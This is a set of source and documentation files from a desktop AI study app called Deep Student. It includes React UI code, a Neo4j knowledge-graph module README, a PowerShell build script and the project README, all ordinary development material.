className={`nav-item tooltip-test ${currentView === 'review-library' ? 'active' : ''}`}
onClick={() => setCurrentView('review-library')}
data-tooltip={sidebarCollapsed ? '分析库' : ''}
>
<span className="nav-icon">📚</span>
{!sidebarCollapsed && <span className="nav-text">分析库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'anki-generation' ? 'active' : ''}`}
onClick={() => setCurrentView('anki-generation')}
data-tooltip={sidebarCollapsed ? 'ANKI制卡' : ''}
>
<span className="nav-icon">🎯</span>
{!sidebarCollapsed && <span className="nav-text">ANKI制卡</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'knowledge-base' ? 'active' : ''}`}
onClick={() => setCurrentView('knowledge-base')}
data-tooltip={sidebarCollapsed ? '知识库' : ''}
>
<span className="nav-icon">🧠</span>
{!sidebarCollapsed && <span className="nav-text">知识库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'rag-query' ? 'active' : ''}`}
onClick={() => setCurrentView('rag-query')}
data-tooltip={sidebarCollapsed ? 'RAG查询' : ''}
>
<span className="nav-icon">🔍</span>
{!sidebarCollapsed && <span className="nav-text">RAG查询</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'dashboard' ? 'active' : ''}`}
onClick={() => setCurrentView('dashboard')}
data-tooltip={sidebarCollapsed ? '统计' : ''}
>
<span className="nav-icon">📊</span>
{!sidebarCollapsed && <span className="nav-text">统计</span>}
</button>
<button
className={`nav-item tooltip-test`}
onClick={() => setShowDataManagement(true)}
data-tooltip={sidebarCollapsed ? '数据管理' : ''}
>
<span className="nav-icon">📦</span>
{!sidebarCollapsed && <span className="nav-text">数据</span>}
</button>
</div>
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '开发工具'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'formula-test' ? 'active' : ''}`}
onClick={() => setCurrentView('formula-test')}
data-tooltip={sidebarCollapsed ? '公式测试' : ''}
>
<span className="nav-icon">🧠</span>
{!sidebarCollapsed && <span className="nav-text">公式测试</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'ai-sdk-analysis' ? 'active' : ''}`}
onClick={() => setCurrentView('ai-sdk-analysis')}
data-tooltip={sidebarCollapsed ? 'AI SDK分析' : ''}
>
<span className="nav-icon">🚀</span>
{!sidebarCollapsed && <span className="nav-text">AI SDK</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'backend-test' ? 'active' : ''}`}
onClick={() => setCurrentView('backend-test')}
data-tooltip={sidebarCollapsed ? '后端测试' : ''}
>
<span className="nav-icon">🧪</span>
{!sidebarCollapsed && <span className="nav-text">后端测试</span>}
</button>
</div>
</nav>
<div className="sidebar-footer">
<button
className={`nav-item tooltip-test ${currentView === 'settings' ? 'active' : ''}`}
onClick={() => setCurrentView('settings')}
data-tooltip={sidebarCollapsed ? '设置' : ''}
>
<span className="nav-icon">⚙️</span>
{!sidebarCollapsed && <span className="nav-text">设置</span>}
</button>
</div>
</div>
);
// 渲染分析界面 - 左右分栏布局
const renderAnalysisView = () => (
<div className="analysis-layout">
{/* 左侧上传栏 */}
<div className="left-panel">
<div className="upload-section">
<h3>📝 题目上传</h3>
<div className="form-group">
<label>科目:</label>
<select
value={subject}
onChange={(e) => setSubject(e.target.value)}
disabled={isLoadingSubjects}
>
{isLoadingSubjects ? (
<option value="">加载中...</option>
) : (
availableSubjects.map(subjectOption => (
<option key={subjectOption} value={subjectOption}>{subjectOption}</option>
))
)}
</select>
</div>
<div className="form-group">
<label>题目或解析图片:</label>
<div
className="file-upload-area"
onClick={handleFileUploadClick}
onDrop={(e) => {
e.preventDefault();
e.currentTarget.classList.remove('drag-over');
const files = Array.from(e.dataTransfer.files).filter(file => file.type.startsWith('image/'));
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
}
}}
onDragOver={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragEnter={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragLeave={(e) => {
e.preventDefault();
if (!e.currentTarget.contains(e.relatedTarget as Node)) {
e.currentTarget.classList.remove('drag-over');
}
}}
>
<div className="upload-content">
<div className="upload-icon">📁</div>
<div className="upload-text">拖拽图片到此处或点击上传</div>
<input
type="file"
multiple
accept="image/*"
onChange={handleImageUpload}
className="file-input"
style={{ display: 'none' }}
/>
</div>
</div>
{questionImages.length > 0 && (
<div
className="image-grid-container"
onDrop={(e) => {
e.preventDefault();
e.currentTarget.classList.remove('drag-over');
const files = Array.from(e.dataTransfer.files).filter(file => file.type.startsWith('image/'));
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
}
}}
onDragOver={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragEnter={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragLeave={(e) => {
e.preventDefault();
if (!e.currentTarget.contains(e.relatedTarget as Node)) {
e.currentTarget.classList.remove('drag-over');
}
}}
>
<div className="image-grid-scroll">
{questionImageUrls.map((url, index) => (
<div key={index} className="image-thumbnail-container">
<img
src={url}
alt={`题目图片 ${index + 1}`}
className="image-thumbnail"
onClick={() => openImageViewer(index)}
/>
<button
className="remove-image-btn tooltip-test"
onClick={() => removeImage(index)}
data-tooltip="删除图片"
>
✕
</button>
</div>
))}
{questionImages.length < 9 && (
<div className="add-image-placeholder">
<input
type="file"
multiple
accept="image/*"
onChange={handleImageUpload}
className="add-image-input"
id="add-more-images"
/>
<label htmlFor="add-more-images" className="add-image-label">
<div className="add-image-icon">➕</div>
<div className="add-image-text">添加图片</div>
</label>
</div>
)}
</div>
</div>
)}
</div>
<div className="form-group">
<label>你的问题:</label>
<textarea
value={userQuestion}
onChange={(e) => setUserQuestion(e.target.value)}
placeholder="请描述你对这道题的疑问..."
rows={3}
/>
</div>
<div className="form-group">
<div style={{ padding: '0.5rem', backgroundColor: '#f0f8ff', borderRadius: '4px', fontSize: '0.9rem', color: '#666' }}>
ℹ️ 流式输出和思维链已默认启用，为您提供最佳体验
</div>
</div>
{/* RAG设置 */}
<div className="form-group">
<div style={{
padding: '1rem',
backgroundColor: '#f8f9fa',
borderRadius: '8px',
border: '1px solid #e9ecef'
}}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.5rem' }}>
<span style={{ fontSize: '1.1rem' }}>🧠</span>
<label style={{ fontSize: '0.95rem', fontWeight: '500', margin: 0 }}>
RAG知识库增强
</label>
</div>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', cursor: 'pointer' }}>
<input
type="checkbox"
checked={enableRag}
onChange={(e) => setEnableRag(e.target.checked)}
style={{ transform: 'scale(1.1)' }}
/>
<span style={{ fontSize: '0.9rem', color: '#495057' }}>
使用知识库增强AI分析（需要先上传文档到知识库）
</span>
</label>
{enableRag && (
<div style={{
marginTop: '0.75rem',
paddingTop: '0.75rem',
borderTop: '1px solid #dee2e6'
}}>
<label style={{
display: 'flex',
alignItems: 'center',
gap: '0.5rem',
fontSize: '0.85rem',
color: '#6c757d'
}}>
检索文档数量:
<input
type="number"
min="1"
max="10"
value={ragTopK}
onChange={(e) => setRagTopK(parseInt(e.target.value) || 5)}
style={{
width: '60px',
padding: '0.25rem',
borderRadius: '4px',
border: '1px solid #ced4da',
fontSize: '0.85rem'
}}
/>
</label>
</div>
)}
{enableRag && (
<div style={{
marginTop: '0.5rem',
fontSize: '0.8rem',
color: '#6c757d',
fontStyle: 'italic'
}}>
💡 启用后，AI将从您的知识库中检索相关信息来增强分析准确性
</div>
)}
</div>
</div>
<button
onClick={handleAnalyze}
disabled={isAnalyzing}
className="analyze-button"
>
{isAnalyzing ? '分析中...' : '开始分析'}
</button>
{analysisResult && (
<div className="action-buttons">
<button onClick={handleSaveToLibrary} className="save-button">
💾 保存到错题库
</button>
<button onClick={handleReset} className="reset-button">
🔄 重新分析
</button>
</div>
)}
</div>
</div>
{/* 右侧结果栏 */}
<div className="right-panel">
{!ocrResult && !analysisResult ? (
<div className="empty-result">
<div className="empty-icon">
<img src="/dslogo2.png" alt="Deep Student" className="empty-logo" />
</div>
<h3>等待分析</h3>
<p>请在左侧上传题目图片并点击"开始分析"</p>
</div>
) : (
<div className="analysis-result">
<div className="result-header">
<h3>📊 分析结果</h3>
{isAnalyzing && (
<div className="analyzing-indicator">
<span className="spinner">⏳</span>
<span>分析中...</span>
</div>
)}
</div>
{/* OCR结果区域 - 立即显示 */}
{ocrResult && (
<div className="result-info">
<div className="info-item">
<strong>题目类型:</strong>
<span className="info-value">{ocrResult.mistake_type}</span>
</div>
<div className="info-item">
<strong>标签:</strong>
<div className="tags">
{ocrResult.tags.map((tag, index) => (
<span key={index} className="tag">{tag}</span>
))}
</div>
</div>
<div className="info-item">
<strong>OCR文本:</strong>
<div className="ocr-text">{ocrResult.ocr_text}</div>
</div>
</div>
)}
{/* AI解答区域 */}
{isOcrComplete && (
<div className={`chat-container ${isChatFullscreen ? 'chat-fullscreen' : ''}`}>
<div className="chat-header">
<h4>💬 AI解答</h4>
<div className="chat-header-actions">
{enableChainOfThought && (
<span className="chain-indicator">🧠 思维链模式</span>
)}
<button
className="chat-fullscreen-toggle"
onClick={handleChatFullscreenToggle}
>
{isChatFullscreen ? '🔲' : '📱'}
</button>
</div>
</div>
<div className="chat-history">
{chatHistory.map((message, index) => {
const isStreaming = streamingMessageIndex === index;
const thinking = thinkingContent.get(index);
return (
<MessageWithThinking
key={index}
content={message.content}
thinkingContent={thinking}
isStreaming={isStreaming}
role={message.role as 'user' | 'assistant'}
timestamp={message.timestamp}
ragSources={message.rag_sources}
/>
);
})}
{isAnalyzing && chatHistory.length === 0 && (
<div className="message assistant">
<div className="message-content typing">
<span className="typing-indicator">
<span></span>
<span></span>
<span></span>
</span>
AI正在思考中...
</div>
</div>
)}
{isChatting && streamingMessageIndex === null && (
<div className="message assistant">
<div className="message-content typing">
<span className="typing-indicator">
<span></span>
<span></span>
<span></span>
</span>
正在思考中...
</div>
</div>
)}
</div>
{/* 只有在分析完成后才显示输入框 */}
{!isAnalyzing && isInputAllowed && analysisResult && (
<div className="chat-input">
<input
type="text"
value={currentMessage}
onChange={(e) => setCurrentMessage(e.target.value)}
placeholder="继续提问..."
onKeyDown={(e) => e.key === 'Enter' && handleSendMessage()}
disabled={isChatting}
/>
<button
onClick={handleSendMessage}
disabled={isChatting || !currentMessage.trim()}
className="send-button"
>
{isChatting ? '⏳' : '📤'}
</button>
</div>
)}
</div>
)}
</div>
)}
</div>
</div>
);
return (
<div
className="app"
style={{
'--sidebar-width': sidebarCollapsed ? '60px' : '240px'
} as React.CSSProperties}
>
<WindowControls />
<div className="app-body">
{renderSidebar()}
<main className="app-content">
<div className="content-header" onMouseDown={startDragging}>
<div className="content-header-left">
<button
className="sidebar-toggle"
onClick={() => setSidebarCollapsed(!sidebarCollapsed)}
onMouseDown={(e) => e.stopPropagation()}
>
{sidebarCollapsed ? '→' : '←'}
</button>
<h1 className="content-title">
{currentView === 'analysis' && '错题分析'}
{currentView === 'batch' && '批量分析'}
{currentView === 'library' && '错题库'}
{currentView === 'review' && '回顾分析'}
{currentView === 'unified-review' && '统一回顾分析'}
{currentView === 'create-review' && '创建回顾分析'}
{currentView === 'review-session' && '回顾分析会话'}
{currentView === 'review-library' && '回顾分析库'}
{currentView === 'dashboard' && '统计数据'}
{currentView === 'settings' && '系统设置'}
{currentView === 'formula-test' && '公式测试'}
{currentView === 'ai-sdk-analysis' && 'AI SDK分析'}
{currentView === 'backend-test' && '后端测试'}
{currentView === 'mistake-detail' && '错题详情'}
{currentView === 'anki-generation' && 'ANKI制卡助手'}
{currentView === 'knowledge-base' && 'RAG知识库管理'}
{currentView === 'rag-query' && 'RAG智能查询'}
</h1>
</div>
</div>
<div className="content-body">
{currentView === 'analysis' && renderAnalysisView()}
{/* 批量分析组件始终挂载，只是控制显示/隐藏 */}
<div style={{ display: currentView === 'batch' ? 'block' : 'none' }}>
<BatchAnalysis onBack={() => setCurrentView('analysis')} />
</div>
{currentView === 'library' && (
<MistakeLibrary
onSelectMistake={handleSelectMistake}
onBack={() => setCurrentView('analysis')}
/>
)}
{currentView === 'review' && (
<ReviewAnalysis onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'unified-review' && (
<ReviewAnalysisDashboard
onCreateNew={() => setCurrentView('create-review')}
onViewSession={(sessionId: string) => {
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
}}
/>
)}
{currentView === 'create-review' && (
<CreateReviewAnalysisView
onCancel={() => setCurrentView('unified-review')}
onCreateSuccess={(sessionId: string) => {
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
}}
/>
)}
{currentView === 'review-session' && currentReviewSessionId && (
<ReviewAnalysisSessionView
sessionId={currentReviewSessionId}
onBack={() => setCurrentView('unified-review')}
/>
)}
{currentView === 'review-library' && (
<ReviewAnalysisLibrary
onSelectAnalysis={(analysis) => {
setCurrentReviewSessionId(analysis.id);
setCurrentView('review-session');
}}
onBack={() => setCurrentView('unified-review')}
/>
)}
{currentView === 'dashboard' && (
<Dashboard onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'settings' && (
<Settings onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'mistake-detail' && selectedMistake && (
<MistakeDetail
mistake={selectedMistake}
onBack={() => setCurrentView('library')}
onUpdate={handleUpdateMistake}
onDelete={handleDeleteMistake}
/>
)}
{currentView === 'formula-test' && (
<FormulaTest onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'ai-sdk-analysis' && (
<AnalysisWithAISDK
enableChainOfThought={enableChainOfThought}
onAnalysisComplete={(result) => {
console.log('AI SDK Analysis completed:', result);
// 可以在这里添加额外的处理逻辑
}}
/>
)}
{currentView === 'backend-test' && (
<BackendTest />
)}
{/* ANKI制卡组件始终挂载，只是控制显示/隐藏 */}
<div style={{ display: currentView === 'anki-generation' ? 'block' : 'none' }}>
<AnkiCardGeneration
subjectConfigs={subjectConfigs}
/>
</div>
{currentView === 'knowledge-base' && (
<KnowledgeBaseManagement />
)}
{currentView === 'rag-query' && (
<RagQueryView />
)}
</div>
</main>
{/* 数据管理模态框 */}
{showDataManagement && (
<div className="modal-overlay">
<div className="modal-container">
<DataImportExport onClose={() => setShowDataManagement(false)} />
</div>
</div>
)}
{/* 图片查看器 */}
<ImageViewer
images={questionImageUrls}
currentIndex={currentImageIndex}
isOpen={imageViewerOpen}
onClose={() => setImageViewerOpen(false)}
onNext={() => setCurrentImageIndex(prev => (prev + 1) % questionImageUrls.length)}
onPrev={() => setCurrentImageIndex(prev => (prev - 1 + questionImageUrls.length) % questionImageUrls.length)}
/>
</div>
</div>
);
}
export default App;
| 57,191
|
temp_app_before_cleanup
|
tsx
|
en
|
tsx
|
code
|
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|
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|
000haoji/deep-student
|
COGNI-GRAPH-README.md
|
# CogniGraph 知识图谱模块
## 概述
CogniGraph 是集成到 AI 错题管理器中的个性化知识网络系统，基于 Neo4j 图数据库实现。该模块允许用户将学习过程中的问题、灵感和解题方法结构化存储，并通过 AI 实现智能检索、关联推荐和深度洞察。
## 核心功能
### 🎯 主要特性
1. **问题卡片管理**
- 创建和存储数学问题及解题洞察
- 自动生成向量嵌入用于语义搜索
- 支持标签分类和状态管理
2. **智能搜索**
- 多路召回：向量搜索 + 全文检索
- 融合排序：综合相似度、访问频次、时间因子
- 语义理解：基于 AI 的内容理解
3. **AI 关系推荐**
- 自动发现题目间的关联关系
- 支持变题、通法、对比等关系类型
- 基于置信度的推荐过滤
4. **知识图谱可视化**
- 节点关系展示
- 标签分类浏览
- 访问统计分析
## 技术架构
### 后端架构
```
CogniGraph Module
├── models.rs # 数据模型定义
├── handlers.rs # Tauri 命令处理
├── config.rs # 配置管理
└── services/
├── neo4j_service.rs # Neo4j 数据库操作
├── graph_service.rs # 图谱业务逻辑
└── search_service.rs # 搜索和推荐
```
### 数据模型
**ProblemCard 节点**
- `id`: 唯一标识符
- `content_problem`: 题目内容
- `content_insight`: 解题洞察
- `status`: 解题状态 (solved/unsolved)
- `embedding`: 向量嵌入
- `created_at`: 创建时间
- `last_accessed_at`: 最后访问时间
- `access_count`: 访问次数
**Tag 节点**
- `name`: 标签名称
- `tag_type`: 标签类型 (knowledge_point/method/auto)
**关系类型**
- `HAS_TAG`: 卡片拥有标签
- `IS_VARIATION_OF`: 题目变种关系
- `USES_GENERAL_METHOD`: 使用通用方法
- `CONTRASTS_WITH`: 对比关系
## 安装和配置
### 1. 安装 Neo4j
**本地开发**
```bash
# 下载 Neo4j Desktop
# https://neo4j.com/download/
# 或使用 Docker
docker run \
--name neo4j \
-p7474:7474 -p7687:7687 \
-d \
-v $HOME/neo4j/data:/data \
-v $HOME/neo4j/logs:/logs \
-v $HOME/neo4j/import:/var/lib/neo4j/import \
-v $HOME/neo4j/plugins:/plugins \
--env NEO4J_AUTH=neo4j/password \
neo4j:latest
```
**云端部署**
1. 注册 [Neo4j AuraDB](https://neo4j.com/aura/)
2. 创建免费实例
3. 获取连接信息
### 2. 配置连接
复制配置文件模板：
```bash
cp cogni-graph-config.example.toml cogni-graph-config.toml
```
编辑配置文件：
```toml
[neo4j]
uri = "bolt://localhost:7687"
username = "neo4j"
password = "your-password"
[vector]
dimensions = 1536
similarity_threshold = 0.7
```
### 3. 初始化数据库
启动应用后，在知识图谱界面：
1. 输入 Neo4j 连接信息
2. 点击"测试连接"验证配置
3. 点击"初始化图谱"创建约束和索引
## 使用指南
### 创建问题卡片
1. 填写题目描述
2. 输入解题洞察和方法
3. 添加相关标签
4. 系统自动生成嵌入向量并建立关联
### 智能搜索
1. 输入搜索关键词
2. 系统执行多路召回
3. 查看排序后的搜索结果
4. 点击卡片查看详情和推荐
### AI 推荐
- 选择任意卡片后自动生成推荐
- 基于内容相似度和关系类型
- 显示推荐理由和置信度
## API 接口
### Tauri 命令
```typescript
// 初始化知识图谱
invoke('initialize_knowledge_graph', { config: GraphConfig })
// 创建问题卡片
invoke('create_problem_card', { request: CreateCardRequest })
// 搜索知识图谱
invoke('search_knowledge_graph', { request: SearchRequest })
// 获取 AI 推荐
invoke('get_ai_recommendations', { request: RecommendationRequest })
// 测试 Neo4j 连接
invoke('test_neo4j_connection', { config: GraphConfig })
```
### 数据类型
```typescript
interface CreateCardRequest {
content_problem: string;
content_insight: string;
tags: string[];
source_excalidraw_path?: string;
}
interface SearchRequest {
query: string;
limit?: number;
libraries?: string[];
}
```
## 开发指南
### 添加新的关系类型
1. 在 `models.rs` 中扩展 `RelationshipType` 枚举
2. 更新 `graph_service.rs` 中的关系分析逻辑
3. 修改前端界面显示
### 扩展搜索算法
1. 在 `search_service.rs` 中添加新的召回方法
2. 更新 `rerank_results` 函数的权重计算
3. 调整配置参数
### 集成新的 AI 模型
系统已集成现有的 LLMManager，支持：
- OpenAI GPT 系列
- Google Gemini
- DeepSeek
- 其他兼容模型
## 性能优化
### 数据库优化
1. **索引策略**
- 唯一约束：确保 ID 和标签名唯一性
- 全文索引：支持快速内容搜索
- 向量索引：加速相似度查询
2. **查询优化**
- 使用参数化查询防止注入
- 批量操作减少网络开销
- 结果分页控制内存使用
### 向量搜索优化
1. **维度选择**
- 使用 1536 维 OpenAI 嵌入
- 支持自定义维度配置
2. **相似度计算**
- 余弦相似度：标准化后的点积
- 批量计算：优化大规模搜索性能
## 部署方案
### 本地开发到云端的无缝迁移
1. **开发阶段**
- Neo4j Desktop 本地实例
- 本地文件配置管理
2. **生产部署**
- Neo4j AuraDB 云实例
- 环境变量配置
- Docker 容器化部署
### 扩展性考虑
- **数据量增长**：AuraDB 支持无缝扩容
- **并发访问**：连接池和查询优化
- **跨区域部署**：多区域实例同步
## 故障排除
### 常见问题
1. **连接失败**
- 检查 Neo4j 服务状态
- 验证网络连通性
- 确认认证信息
2. **向量索引不可用**
- 需要 Neo4j 5.11+ 版本
- 安装向量搜索插件
- 降级到手动计算模式
3. **性能问题**
- 检查数据库约束和索引
- 优化查询语句
- 调整批量操作大小
### 日志调试
```bash
# 查看 Neo4j 日志
docker logs neo4j
# 查看应用日志
# 在应用内查看控制台输出
```
## 未来规划
### 短期目标 (v1.1)
- [ ] 手写输入识别集成
- [ ] 图谱可视化界面
- [ ] 导入/导出功能
- [ ] 批量操作支持
### 中期目标 (v1.2)
- [ ] 多媒体内容支持
- [ ] 协作学习功能
- [ ] 学习路径推荐
- [ ] 统计分析仪表板
### 长期目标 (v2.0)
- [ ] 分布式图谱
- [ ] 实时协作编辑
- [ ] 个性化学习算法
- [ ] 跨平台数据同步
## 贡献指南
欢迎提交 Issue 和 Pull Request！
### 开发环境设置
1. 克隆项目
2. 安装 Rust 和 Node.js
3. 配置 Neo4j 实例
4. 运行测试套件
### 代码规范
- Rust: 使用 `cargo fmt` 和 `cargo clippy`
- TypeScript: 使用 ESLint 和 Prettier
- 提交信息: 遵循 Conventional Commits
## 许可证
本项目遵循与主项目相同的许可证。
## 支持和反馈
如有问题或建议，请通过以下方式联系：
- GitHub Issues
- 项目讨论区
- 技术支持邮箱
---
**CogniGraph - 让知识连接，让学习更智能** 🧠✨
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|
000haoji/deep-student
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compile.ps1
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# 设置环境变量以使用MSVC
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\BuildTools"
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Community"
}
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Professional"
}
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Enterprise"
}
$vcvarsall = "$vsPath\VC\Auxiliary\Build\vcvarsall.bat"
if (Test-Path $vcvarsall) {
Write-Host "找到 MSVC 工具链，正在配置环境..." -ForegroundColor Green
& cmd /c "`"$vcvarsall`" x64 && set" | ForEach-Object {
if ($_ -match "=") {
$v = $_.split("=", 2)
Set-Item -Force -Path "env:\$($v[0])" -Value $v[1]
}
}
Write-Host "环境配置完成，开始编译..." -ForegroundColor Green
# 进入 src-tauri 目录并编译
Set-Location src-tauri
cargo build --release
} else {
Write-Host "错误：未找到 MSVC 工具链！" -ForegroundColor Red
Write-Host "请确保已安装 Visual Studio Build Tools 2022 并选择了 C++ 工作负载。" -ForegroundColor Yellow
}
| 1,055
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ps1
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en
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powershell
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code
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|
0
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|
000haoji/deep-student
|
README.md
|
# Deep Student
官网 www.deepstudent.com
当前正在进行公开测试中，此为尚未完善的版本。
该项目前身使用flask + python开发，现已完全重构。
**Deep Student** 是一个功能强大、集多种 AI 能力于一体的现代化桌面学习平台。它不仅仅是一个错题本，更是一个完整的知识获取、管理、复习和创造的智能中心。
该应用基于 **Tauri** 构建，结合了 **Rust** 的高性能后端和 **React** 的现代化前端，旨在为学生、研究者和终身学习者提供无缝、高效的学习体验。
## 项目状态
这是一个功能丰富且在活跃开发中的项目。大部分核心功能已稳定可用，同时包含一些前沿的实验性功能。
## 核心功能 (稳定可用)
---
### 1. AI 驱动的错题分析与对话
将传统的错题整理体验提升到全新维度。
* **实现细节**:
* **多模态输入**: 支持文本与图片混合输入。后端接收到图片后，会调用配置好的多模态大模型（Vision Model）进行 OCR 识别。
* **流式对话**: 用户与 AI 的每一次交互都是一个可持久化的会话。AI 的分析、思考过程和最终答案会通过 WebSocket 实时流式传输到前端，提供即时反馈。
* **深度追问**: 所有对话历史会被记录，AI 在后续的交流中能够理解上下文，允许用户就特定知识点进行深入探讨。
* **结构化存储**: 分析结果（如题型、标签、AI 总结）会被结构化地存入本地 SQLite 数据库，方便后续的高级检索和管理。
### 2. 整合复习 (统一回顾)
打破知识孤岛，从更高的视角审视不同知识点间的联系。
* **实现细节**:
* **资料整合**: 用户可以选择多个错题记录，系统会将这些记录的文本内容整合成一份临时的"复习材料"。
* **宏观分析**: 将整合后的材料连同用户的"复习目标"（一个总括性的问题）一并发送给 AI。通过特定的系统提示词（System Prompt），引导 AI 进行归纳、总结、对比等宏观层面的分析。
* **可恢复会话**: 复习会话的状态会被持久化到数据库。即使用户关闭应用，也可以在之后回到之前的复习进度，继续与 AI 对话。
### 3. RAG 驱动的个人知识库
将本地文档转化为一个可以与之"对话"的智能知识库。
* **实现细节**:
* **文档处理**: 后端支持解析 PDF, DOCX 等格式的文档，将其内容分割成更小的文本块（Chunks）。
* **向量化与检索**: 每个文本块会被一个嵌入模型（Embedding Model）转换成向量，并存储起来。当用户提问时，系统会将问题同样转换为向量，在知识库中进行相似度检索，找到最相关的几个文本块。
* **精准作答**: 将检索到的相关文本块作为上下文（Context），连同用户的问题一起发送给 LLM，使其能够生成基于原文内容的、高度准确的回答。
* **知识隔离**: 支持创建不同的"知识子库"，在查询时可以限定范围，保证不同领域知识的独立性。
### 4. 增强的 Anki 制卡 (含图像挖空)
集成了强大的 Anki 卡片制作与导出能力，特别是先进的图像挖空功能。
* **实现细节**:
* **一键生成**: 从错题分析、RAG 问答或任意文本中，一键调用 AI 生成符合 Anki 格式的问答卡片。
* **图像挖空 (当前仍在实验)**:
* 这是一个**依赖外部视觉模型 API** 的高级功能。
* 用户上传图片后，后端会调用配置好的多模态大模型 API（如 Gemini Pro Vision, Qwen-VL）来获取图中所有文本块的精确坐标。
* 前端会将这些坐标渲染为可点击的区域，用户选择需要遮蔽的文本后，系统会生成包含"遮罩"信息的卡片数据，并存入数据库。
* **模板与导出**: 支持自定义卡片样式模板，并能通过 Anki Connect 直接推送到 Anki 桌面端，或打包为可移植的 `.apkg` 文件。
## 实验性功能 (开发中)
---
### 🕸️ 知识图谱 (Cogni-Graph)
这是一个前沿的、潜力巨大的功能模块，目前正处于积极开发阶段。它的目标是将知识以网络图谱的形式进行可视化和管理。
* **当前状态**: **开发中，非开箱即用**。
* **启用要求**:
* 需要用户自行部署或拥有一个 **Neo4j** 图数据库实例。
* 在应用的配置文件中正确填写 Neo4j 的地址、用户名和密码。
* **已实现功能**:
* **后端 API**: 已实现创建知识节点（卡片）、打标签、查询、搜索相似节点、获取 AI 推荐等核心 API。
* **AI 融合**: 深度融合 LLM，例如在创建卡片时，可以调用 AI 自动为知识点生成关联标签。
* **未来展望**:
* 在前端实现一个交互式的、可视化的图谱界面。
* 自动发现和链接不同错题、文档和笔记中的共同知识点，构建个人专属的知识网络。
## 技术栈
| 类别 | 技术 |
| ---------- | ---------------------------------------------- |
| **后端** | Rust, Tauri, Tokio |
| **前端** | React, TypeScript, Vite |
| **数据库** | SQLite (本地数据), **Neo4j** (知识图谱，需用户自行配置) |
| **AI 核心** | 多模型适配器, RAG 引擎, reqwest, serde |
| **视觉模型** | 图像挖空和 OCR 功能依赖外部多模态大模型 API (如 Gemini, Qwen-VL) |
## 项目结构
```
.
├── src/ # 前端代码 (React + TypeScript)
│ ├── components/ # UI 组件
│ └── App.tsx # 应用主组件
├── src-tauri/ # 后端代码 (Rust)
│ ├── src/
│ │ ├── analysis_service.rs # 核心分析服务
│ │ ├── cogni_graph/ # [开发中] 知识图谱模块
│ │ ├── rag_manager.rs # RAG 知识库管理器
│ │ ├── llm_manager.rs # 多模型管理器
│ │ └── commands.rs # 暴露给前端的 Tauri 命令
│ └── Cargo.toml # Rust 依赖管理
└── package.json # 前端依赖管理
```
## 快速上手
### 环境准备
1. **Rust**: 参考 Rust 官网安装指南。
2. **Node.js**: 安装 Node.js (推荐 LTS 版本) 和 `pnpm` (`npm install -g pnpm`)。
3. **Tauri CLI**: `cargo install tauri-cli`。
### 安装与运行
1. **克隆仓库**: `git clone <your-repo-url>`
2. **安装依赖**: `cd <repo-folder> && pnpm install`
3. **运行开发**: `pnpm run tauri dev`
### **重要：应用配置**
本应用的大部分高级 AI 功能依赖外部 API。
1. **LLM 与视觉模型 API**: 在首次启动或设置页面中，配置您的大语言模型和视觉模型提供商的 API Key 和 Base URL。
2. **知识图谱 (Neo4j)**: 如需测试知识图谱功能，请在 `src-tauri` 目录下寻找相关的**示例配置文件** (如 `cogni-graph-config.example.toml`)，将其复制为正式配置文件，并填入您的 Neo4j 数据库信息。
---
_这份 README 文档由 AI 根据项目代码结构和实现细节自动生成并修订。_
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text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": null, "qsc_doc_num_sentences": 79.0, "qsc_doc_num_words": 1132, "qsc_doc_num_chars": 3907.0, "qsc_doc_num_lines": 134.0, "qsc_doc_mean_word_length": 2.10512367, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.43374558, "qsc_doc_entropy_unigram": 5.70174086, "qsc_doc_frac_words_all_caps": 0.02511682, "qsc_doc_frac_lines_dupe_lines": 0.09677419, "qsc_doc_frac_chars_dupe_lines": 0.01826609, "qsc_doc_frac_chars_top_2grams": 0.01007134, "qsc_doc_frac_chars_top_3grams": 0.01007134, "qsc_doc_frac_chars_top_4grams": 0.01007134, "qsc_doc_frac_chars_dupe_5grams": 0.02937474, "qsc_doc_frac_chars_dupe_6grams": 0.02098196, "qsc_doc_frac_chars_dupe_7grams": 0.02098196, "qsc_doc_frac_chars_dupe_8grams": 0.01007134, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 22.54216867, "qsc_doc_frac_chars_hyperlink_html_tag": 0.02022012, 